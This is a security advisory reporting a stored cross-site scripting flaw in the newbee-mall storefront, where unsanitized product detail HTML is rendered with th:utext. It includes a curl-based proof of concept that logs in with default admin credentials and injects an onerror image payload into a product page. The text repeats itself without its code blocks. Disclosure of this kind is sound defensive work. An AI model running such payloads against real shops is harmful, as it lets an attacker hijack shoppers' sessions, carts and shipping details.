Summary
The traditional Spring MVC/Thymeleaf storefront pages of newbee-mall use th:utext on the product detail page to render the product detail field goodsDetailContent. This field can be written through the backend product editing function, and the backend does not securely sanitize the rich text HTML when saving it. As a result, event-based HTML payloads can be stored in the database and executed on the frontend product detail page.
Details
The vulnerability chain is centered on the product detail field goodsDetailContent.
The backend product editing page directly reads the rich text HTML and submits it to /admin/goods/update:
// newbee-mall/src/main/resources/static/admin/dist/js/newbee_mall_goods_edit.js:119, 246
var goodsDetailContent = editor.getHtml();
"goodsDetailContent": goodsDetailContent,
The backend controller only checks that this field is not empty (NewBeeMallGoodsController.java:175-190). When updating a product, the service layer only sanitizes the name, introduction, and tag, but does not process the detail HTML:
// newbee-mall/src/main/java/ltd/newbee/mall/service/impl/NewBeeMallGoodsServiceImpl.java:90-94
goods.setGoodsName(NewBeeMallUtils.cleanString(goods.getGoodsName()));
goods.setGoodsIntro(NewBeeMallUtils.cleanString(goods.getGoodsIntro()));
goods.setTag(NewBeeMallUtils.cleanString(goods.getTag()));
The setter of goodsDetailContent only performs trim() (NewBeeMallGoods.java:174-175), after which MyBatis writes it as-is into goods_detail_content (NewBeeMallGoodsMapper.xml:350-351).
The frontend /goods/detail/{goodsId} places the product detail content into the template (GoodsController.java:74-87), and detail.html uses th:utext to output it without escaping:
<!-- newbee-mall/src/main/resources/templates/mall/detail.html:63 -->
<div class="goods mt20 w clearfix" th:utext="${goodsDetail.goodsDetailContent}">
</div>
Therefore, event-based HTML written into the product detail content will be executed when a user visits the product detail page. This is a stored XSS vulnerability.
POC
This vulnerability exists in the traditional Spring Boot/Thymeleaf pages and requires direct access to the backend container:
docker inspect -f '{{range.NetworkSettings.Networks}}{{.IPAddress}}{{end}}' newbee-mall_vul_0002_1-backend-1
# In this test: http://172.16.19.3:28089
BACKEND=http://172.16.19.3:28089
ID=10906
PAYLOAD='<img src=x onerror="alert(`Stored XSS @ ${location.host}`)">'
curl --noproxy '*' -sS -c /tmp/newbee_admin.cookies \
-H 'Content-Type: application/json' \
-d '{"userName":"admin","passwordMd5":"123456"}' \
"$BACKEND/manage-api/v1/adminUser/login"
curl --noproxy '*' -sS -b /tmp/newbee_admin.cookies \
"$BACKEND/admin/goods/info/$ID" > /tmp/newbee_goods_backup.json
jq --arg payload "$PAYLOAD" '.data | {
goodsId, goodsName, goodsIntro, goodsCategoryId, goodsCoverImg, goodsCarousel,
originalPrice, sellingPrice, stockNum, tag, goodsSellStatus,
goodsDetailContent: $payload
}' /tmp/newbee_goods_backup.json > /tmp/newbee_goods_xss.json
curl --noproxy '*' -sS -b /tmp/newbee_admin.cookies \
-H 'Content-Type: application/json' \
-X POST --data-binary @/tmp/newbee_goods_xss.json \
"$BACKEND/admin/goods/update"
curl --noproxy '*' -sS "$BACKEND/goods/detail/$ID" | rg 'Stored XSS|goods mt20|onerror'
As shown below:
Next, visit http://127.0.0.1:28089/goods/detail/10906 from the frontend. After the page loads the product detail content, it triggers alert('Stored XSS @ '+location.host).
Impact
This script can use the user’s current browser session to send same-origin requests, such as calling /shop-cart to manipulate the shopping cart, accessing the personal center page, or modifying shipping information. The script will also execute when an unauthenticated user visits the product detail page, but its exploitable capability is limited by the unauthenticated state.
Summary
The traditional Spring MVC/Thymeleaf storefront pages of newbee-mall use
th:utexton the product detail page to render the product detail fieldgoodsDetailContent. This field can be written through the backend product editing function, and the backend does not securely sanitize the rich text HTML when saving it. As a result, event-based HTML payloads can be stored in the database and executed on the frontend product detail page.Details
The vulnerability chain is centered on the product detail field
goodsDetailContent.The backend product editing page directly reads the rich text HTML and submits it to
/admin/goods/update:The backend controller only checks that this field is not empty (
NewBeeMallGoodsController.java:175-190). When updating a product, the service layer only sanitizes the name, introduction, and tag, but does not process the detail HTML:The setter of
goodsDetailContentonly performstrim()(NewBeeMallGoods.java:174-175), after which MyBatis writes it as-is intogoods_detail_content(NewBeeMallGoodsMapper.xml:350-351).The frontend
/goods/detail/{goodsId}places the product detail content into the template (GoodsController.java:74-87), anddetail.htmlusesth:utextto output it without escaping:Therefore, event-based HTML written into the product detail content will be executed when a user visits the product detail page. This is a stored XSS vulnerability.
POC
This vulnerability exists in the traditional Spring Boot/Thymeleaf pages and requires direct access to the backend container:
As shown below:
Next, visit
http://127.0.0.1:28089/goods/detail/10906from the frontend. After the page loads the product detail content, it triggersalert('Stored XSS @ '+location.host).Impact
This script can use the user’s current browser session to send same-origin requests, such as calling
/shop-cartto manipulate the shopping cart, accessing the personal center page, or modifying shipping information. The script will also execute when an unauthenticated user visits the product detail page, but its exploitable capability is limited by the unauthenticated state.